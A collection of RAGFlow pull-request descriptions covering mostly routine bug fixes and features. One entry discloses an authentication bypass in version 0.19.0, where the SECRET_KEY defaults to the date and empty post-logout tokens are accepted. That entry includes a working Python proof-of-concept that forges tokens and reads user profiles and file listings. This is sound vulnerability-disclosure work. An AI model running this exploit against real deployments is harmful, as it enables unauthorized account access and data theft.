### What problem does this PR solve?

Fix mixing different embedding models in document parsing.

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

---------

Co-authored-by: Kevin Hu <kevinhu.sh@gmail.com>

### What problem does this PR solve?


![image](https://github.com/user-attachments/assets/d4ef0526-343a-426f-a85a-b05eb8b559a1)

### Type of change

- [x] New Feature (non-breaking change which adds functionality)

### What problem does this PR solve?

Progress is only updated if it's valid and not regressive.

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

### What problem does this PR solve?

- Fix boolean parsing for 'desc' parameter in kb_app.py to properly
handle string values

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

### What problem does this PR solve?

https://github.com/infiniflow/ragflow/issues/8175

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

### What problem does this PR solve?

#8156

### Type of change
- [x] Refactoring

### What problem does this PR solve?

- Remove pagerank from CreateDatasetReq and add to UpdateDatasetReq
- Add pagerank update logic in dataset update endpoint
- Update API documentation to reflect changes
- Modify related test cases and SDK references

#8208

This change makes pagerank a mutable property that can only be set after
dataset creation, and only when using elasticsearch as the doc engine.

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

### What problem does this PR solve?

Validate that pagerank updates are only allowed when using elasticsearch
as the document engine. Return an error if pagerank is set while using a
different doc engine, preventing potential inconsistencies in document
scoring.

#8208

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

### What problem does this PR solve?

Validate dataset name in knowledge base update endpoint to ensure:
- Name is a non-empty string
- Name length doesn't exceed DATASET_NAME_LIMIT
- Whitespace is trimmed before processing

Prevents invalid dataset names from being saved and provides clear error
messages.

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

### What problem does this PR solve?

Change the condition from checking for >1 to >=1 when validating
duplicate knowledgebase names to properly catch all duplicates. This
ensures no two knowledgebases can have the same name for a tenant.

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

### What problem does this PR solve?

- Trim whitespace before checking for empty dataset names
- Change length check from >= to > DATASET_NAME_LIMIT for consistency

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

### What problem does this PR solve?
for kb.app list method when owner_ids the total calculate is wrong (now
will base on the paged result to calculate total)

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

### What problem does this PR solve?
Issue: #8051

The current implementation assumes JWKS endpoints follow the standard
`/.well-known/jwks.json` convention. This breaks authentication for OIDC
providers that use non-standard JWKS paths, resulting in 404 errors
during token validation.

Root Cause Analysis
- The OpenID Connect specification doesn't mandate a fixed path for JWKS
endpoints
- Some identity providers (like certain Keycloak configurations) use
custom endpoints
- Our previous approach constructed JWKS URLs by convention rather than
discovery

### Solution Approach
Instead of constructing JWKS URLs by appending to the issuer URI, we
now:
1. Properly leverage the `jwks_uri` from the OIDC discovery metadata
2. Honor the identity provider's actual configured endpoint

```python
# Before (fragile approach)
jwks_url = f"{self.issuer}/.well-known/jwks.json"

# After (standards-compliant)
jwks_cli = jwt.PyJWKClient(self.jwks_uri)  # Use discovered endpoint
```

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

### What problem does this PR solve?

- Consolidate database operations within single try-except blocks in the
methods

### Type of change

- [x] Refactoring

### What problem does this PR solve?

fix document typo in test

### Type of change

- [x] Typo

### What problem does this PR solve?
https://github.com/infiniflow/ragflow/issues/8070

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

### What problem does this PR solve?


### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

### What problem does this PR solve?

#8067 

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

### Description

There's a critical authentication bypass vulnerability that allows
remote attackers to gain unauthorized access to user accounts without
any credentials. The vulnerability stems from two security flaws: (1)
the application uses a predictable `SECRET_KEY` that defaults to the
current date, and (2) the authentication mechanism fails to properly
validate empty access tokens left by logged-out users. When combined,
these flaws allow attackers to forge valid JWT tokens and authenticate
as any user who has previously logged out of the system.

The authentication flow relies on JWT tokens signed with a `SECRET_KEY`
that, in default configurations, is set to `str(date.today())` (e.g.,
"2025-05-30"). When users log out, their `access_token` field in the
database is set to an empty string but their account records remain
active. An attacker can exploit this by generating a JWT token that
represents an empty access_token using the predictable daily secret,
effectively bypassing all authentication controls.


### Source - Sink Analysis

**Source (User Input):** HTTP Authorization header containing
attacker-controlled JWT token

**Flow Path:**
1. **Entry Point:** `load_user()` function in `api/apps/__init__.py`
(Line 142)
2. **Token Processing:** JWT token extracted from Authorization header
3. **Secret Key Usage:** Token decoded using predictable SECRET_KEY from
`api/settings.py` (Line 123)
4. **Database Query:** `UserService.query()` called with decoded empty
access_token
5. **Sink:** Authentication succeeds, returning first user with empty
access_token

### Proof of Concept

```python
import requests
from datetime import date
from itsdangerous.url_safe import URLSafeTimedSerializer
import sys

def exploit_ragflow(target):
    # Generate token with predictable key
    daily_key = str(date.today())
    serializer = URLSafeTimedSerializer(secret_key=daily_key)
    malicious_token = serializer.dumps("")
    
    print(f"Target: {target}")
    print(f"Secret key: {daily_key}")
    print(f"Generated token: {malicious_token}\n")
    
    # Test endpoints
    endpoints = [
        ("/v1/user/info", "User profile"),
        ("/v1/file/list?parent_id=&keywords=&page_size=10&page=1", "File listing")
    ]
    
    auth_headers = {"Authorization": malicious_token}
    
    for path, description in endpoints:
        print(f"Testing {description}...")
        response = requests.get(f"{target}{path}", headers=auth_headers)
        
        if response.status_code == 200:
            data = response.json()
            if data.get("code") == 0:
                print(f"SUCCESS {description} accessible")
                if "user" in path:
                    user_data = data.get("data", {})
                    print(f"  Email: {user_data.get('email')}")
                    print(f"  User ID: {user_data.get('id')}")
                elif "file" in path:
                    files = data.get("data", {}).get("files", [])
                    print(f"  Files found: {len(files)}")
            else:
                print(f"Access denied")
        else:
            print(f"HTTP {response.status_code}")
        print()

if __name__ == "__main__":
    target_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"
    exploit_ragflow(target_url)
```

**Exploitation Steps:**
1. Deploy RAGFlow with default configuration
2. Create a user and make at least one user log out (creating empty
access_token in database)
3. Run the PoC script against the target
4. Observe successful authentication and data access without any
credentials


**Version:** 0.19.0
@KevinHuSh @asiroliu @cike8899

Co-authored-by: nkoorty <amalyshau2002@gmail.com>

### What problem does this PR solve?


https://github.com/infiniflow/ragflow/issues/8059#issuecomment-2942407486
lazy throw exception to better support custom embedding model

### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)

### What problem does this PR solve?

#8057 

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

### What problem does this PR solve?

This PR updates the completion function to allow parameter updates when
a session_id exists. It also ensures changes are saved back to the
database via API4ConversationService.

### Type of change

- [x] New Feature (non-breaking change which adds functionality)

### What problem does this PR solve?

Close #8033

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

### What problem does this PR solve?

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

### What problem does this PR solve?

#7791

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

### What problem does this PR solve?

Change filename length limit from 128 to 256

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

Signed-off-by: Jin Hai <haijin.chn@gmail.com>

**Fix: Prevent Flask hot reload from hanging due to early thread
startup**

### What problem does this PR solve?

When running the Flask server with `use_reloader=True` (enabled during
debug mode), modifying a Python source file would trigger a reload
detection (`Detected change in ...`), but the application would hang
instead of restarting cleanly.

This was caused by the `update_progress` background thread being started
**too early**, often within the main module scope.
This issue was reported in
[#7498](https://github.com/infiniflow/ragflow/issues/7498).

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
---

**Summary of changes:**
- Wrapped `update_progress` launch in a `threading.Timer` with delay to
avoid premature thread execution.
- Marked thread as `daemon=True` to avoid blocking process exit.
- Added `WERKZEUG_RUN_MAIN` environment check to ensure background
threads only run in the reloader child process (the actual Flask app).
- Retained original behavior in production mode (`debug=False`).

---------

Co-authored-by: Kevin Hu <kevinhu.sh@gmail.com>

### What problem does this PR solve?
https://github.com/infiniflow/ragflow/issues/7940

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

### What problem does this PR solve?
When performing the dify_retrieval, the metadata of the document was
empty.


### Type of change

- [ ] Bug Fix (non-breaking change which fixes an issue)

### What problem does this PR solve?

When deleting knowledge base documents in RAGFlow, the current process
only removes the block texts in Elasticsearch and the original files in
MinIO, but it leaves behind many binary images and thumbnails generated
during chunking. This pull request improves the deletion process by
querying the block information in Elasticsearch to ensure a more
thorough and complete cleanup.

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

### What problem does this PR solve?

https://github.com/infiniflow/ragflow/issues/7753

The internal is due to when the selected row keys change will trigger a
testing, but I do not know why.

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

### What problem does this PR solve?

SpringAI can only add session_id in metadata。so add new way to get
session_id from "id" or "metadata.id"

![image](https://github.com/user-attachments/assets/0c698ebb-2228-46d8-94c5-2a291b6f70bf)

### Type of change

- [x] New Feature (non-breaking change which adds functionality)

### What problem does this PR solve?

Change citation mark as [ID:n], it's easier for LLMs to follow the
instruction :) #7904

### Type of change

- [x] Refactoring

### What problem does this PR solve?

Fix early return when update doc. #7886

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

…sing the SDK chat API

### What problem does this PR solve?

When using the SDK for chat, you can include the IDs of additional
knowledge bases you want to use in the request. This way, you don’t need
to repeatedly create new assistants to support various combinations of
knowledge bases. This is especially useful when there are many knowledge
bases with different content. If users clearly know which knowledge base
contains the information they need and select accordingly, the recall
accuracy will be greatly improved.

Users only need to add an extra field, a kb_ids array, in the HTTP
request. The content of this field can be determined by the client
fetching the list of knowledge bases and letting the user select from
it.

### Type of change

- [x] New Feature (non-breaking change which adds functionality)

Co-authored-by: Li Ye <liye@unittec.com>

### What problem does this PR solve?

**Issue Description:**

When using the `/api/retrieval` endpoint with a POST request and setting
the `keyword` parameter to `true`, the system invokes the
`model_instance` method from `TenantLLMService` to create a `chat_mdl`
instance. Subsequently, it calls the `keyword_extraction` method to
extract keywords.

However, within the `keyword_extraction` method, the `chat` function of
the LLM attempts to access the `chat_mdl.max_length` attribute to
validate input length. This results in the following error:

```
AttributeError: 'SILICONFLOWChat' object has no attribute 'max_length'
```

**Proposed Solution:**

Upon reviewing other parts of the codebase where `chat_mdl` instances
are created, it appears that utilizing `LLMBundle` for instantiation is
more appropriate. `LLMBundle` includes the `max_length` attribute, which
should resolve the encountered error.



### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
- [ ] New Feature (non-breaking change which adds functionality)
- [ ] Documentation Update
- [ ] Refactoring
- [ ] Performance Improvement
- [ ] Other (please describe):

### What problem does this PR solve?

[Regular Expression Injection leading to Denial of Service
(ReDoS)](https://github.com/infiniflow/ragflow/security/advisories/GHSA-wqq6-x8g9-f7mh)

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

### What problem does this PR solve?

Close #7837
### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

### What problem does this PR solve?

Delete Corresponding Minio Bucket When Deleting a Knowledge Base
[issue #4113 ](https://github.com/infiniflow/ragflow/issues/4113)

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
- [x] New Feature (non-breaking change which adds functionality)

### What problem does this PR solve?

Add more robust fallbacks for citations

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
- [x] New Feature (non-breaking change which adds functionality)

### What problem does this PR solve?

change default models to buildin models
https://github.com/infiniflow/ragflow/issues/7774

### Type of change

- [x] New Feature (non-breaking change which adds functionality)

### What problem does this PR solve?

Wrong hint type. #7729.

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

### What problem does this PR solve?

This PR introduces Pydantic-based validation for the list datasets HTTP
API, improving code clarity and robustness. Key changes include:

Pydantic Validation
Error Handling
Test Updates
Documentation Updates

### Type of change

- [x] Documentation Update
- [x] Refactoring

### What problem does this PR solve?

Add OAuth `state` parameter for CSRF protection:
- Updated `get_authorization_url()` to accept an optional state
parameter
- Generated a unique state value during OAuth login and stored in
session
- Verified state parameter in callback to ensure request legitimacy

This PR follows OAuth 2.0 security best practices by ensuring that the
authorization request originates from the same user who initiated the
flow.

### Type of change

- [x] New Feature (non-breaking change which adds functionality)

### What problem does this PR solve?

Fix:When you create a new API module named xxxa_api, the access route
will become xxx instead of xxxa. For example, when I create a new API
module named 'data_api', the access route will become 'dat' instead of
'data'
Fix:Fixed the issue where the new knowledge base would not be renamed
when there was a knowledge base with the same name

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)

---------

Co-authored-by: tangyu <1@1.com>
Co-authored-by: Kevin Hu <kevinhu.sh@gmail.com>

### What problem does this PR solve?

More fallbacks for bad citation format

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
- [x] Refactoring

### What problem does this PR solve?

Try the best to repair corrupted PDF files on upload automatically.

### Type of change

- [x] New Feature (non-breaking change which adds functionality)

### What problem does this PR solve?

- Updated the dialog settings function to add a default prompt
configuration for no dataset.
- The prompt configuration will be determined based on the presence of
`kb_ids` in the request.


### Type of change

- [ ] Bug Fix (non-breaking change which fixes an issue)
- [x] New Feature (Non-breaking change, adding functionality)
- [ ] Documentation Update
- [ ] Refactoring
- [ ] Performance Improvement
- [ ] Other (please describe):

---------

Co-authored-by: wenju.li <wenju.li@deepctr.cn>

### What problem does this PR solve?

Hello, when I input a very long line in the chat input box, it will fail
with following error:

```
2025-05-17 16:11:26,004 ERROR    182558 value too long for type character varying(255)
Traceback (most recent call last):
  File "/var/home/sfc/Projects/ragflow/.venv/lib/python3.10/site-packages/peewee.py", line 3291, in execute_sql
    cursor.execute(sql, params or ())
psycopg2.errors.StringDataRightTruncation: value too long for type character varying(255)


During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/var/home/sfc/Projects/ragflow/api/apps/conversation_app.py", line 68, in set_conversation
    ConversationService.save(**conv)
  File "/var/home/sfc/Projects/ragflow/.venv/lib/python3.10/site-packages/peewee.py", line 3128, in inner
    return fn(*args, **kwargs)
  File "/var/home/sfc/Projects/ragflow/api/db/services/common_service.py", line 145, in save
    return cls.save_n(**kwargs)
  File "/var/home/sfc/Projects/ragflow/api/db/services/common_service.py", line 139, in save_n
    sample_obj = cls.model(**kwargs).save(force_insert=True)
  File "/var/home/sfc/Projects/ragflow/.venv/lib/python3.10/site-packages/peewee.py", line 6923, in save
    pk = self.insert(**field_dict).execute()
  File "/var/home/sfc/Projects/ragflow/.venv/lib/python3.10/site-packages/peewee.py", line 2011, in inner
    return method(self, database, *args, **kwargs)
  File "/var/home/sfc/Projects/ragflow/.venv/lib/python3.10/site-packages/peewee.py", line 2082, in execute
    return self._execute(database)
  File "/var/home/sfc/Projects/ragflow/.venv/lib/python3.10/site-packages/peewee.py", line 2887, in _execute
    return super(Insert, self)._execute(database)
  File "/var/home/sfc/Projects/ragflow/.venv/lib/python3.10/site-packages/peewee.py", line 2598, in _execute
    cursor = self.execute_returning(database)
  File "/var/home/sfc/Projects/ragflow/.venv/lib/python3.10/site-packages/peewee.py", line 2605, in execute_returning
    cursor = database.execute(self)
  File "/var/home/sfc/Projects/ragflow/.venv/lib/python3.10/site-packages/peewee.py", line 3299, in execute
    return self.execute_sql(sql, params)
  File "/var/home/sfc/Projects/ragflow/.venv/lib/python3.10/site-packages/peewee.py", line 3289, in execute_sql
    with __exception_wrapper__:
  File "/var/home/sfc/Projects/ragflow/.venv/lib/python3.10/site-packages/peewee.py", line 3059, in __exit__
    reraise(new_type, new_type(exc_value, *exc_args), traceback)
  File "/var/home/sfc/Projects/ragflow/.venv/lib/python3.10/site-packages/peewee.py", line 192, in reraise
    raise value.with_traceback(tb)
  File "/var/home/sfc/Projects/ragflow/.venv/lib/python3.10/site-packages/peewee.py", line 3291, in execute_sql
    cursor.execute(sql, params or ())
peewee.DataError: value too long for type character varying(255)
```

This PR fix it by truncate the `name` field in the `set_conversation`
method in the `conversation_app.py`.

### Type of change

- [x] Bug Fix (non-breaking change which fixes an issue)
- [ ] New Feature (non-breaking change which adds functionality)
- [ ] Documentation Update
- [ ] Refactoring
- [ ] Performance Improvement
- [ ] Other (please describe):

### What problem does this PR solve?

Hello, our use case requires LLM agent to invoke some tools, so I made a
simple implementation here.

This PR does two things:

1. A simple plugin mechanism based on `pluginlib`:

This mechanism lives in the `plugin` directory. It will only load
plugins from `plugin/embedded_plugins` for now.

A sample plugin `bad_calculator.py` is placed in
`plugin/embedded_plugins/llm_tools`, it accepts two numbers `a` and `b`,
then give a wrong result `a + b + 100`.

In the future, it can load plugins from external location with little
code change.

Plugins are divided into different types. The only plugin type supported
in this PR is `llm_tools`, which must implement the `LLMToolPlugin`
class in the `plugin/llm_tool_plugin.py`.
More plugin types can be added in the future.

2. A tool selector in the `Generate` component:

Added a tool selector to select one or more tools for LLM:


![image](https://github.com/user-attachments/assets/74a21fdf-9333-4175-991b-43df6524c5dc)

And with the `bad_calculator` tool, it results this with the `qwen-max`
model:


![image](https://github.com/user-attachments/assets/93aff9c4-8550-414a-90a2-1a15a5249d94)


### Type of change

- [ ] Bug Fix (non-breaking change which fixes an issue)
- [x] New Feature (non-breaking change which adds functionality)
- [ ] Documentation Update
- [ ] Refactoring
- [ ] Performance Improvement
- [ ] Other (please describe):

Co-authored-by: Yingfeng <yingfeng.zhang@gmail.com>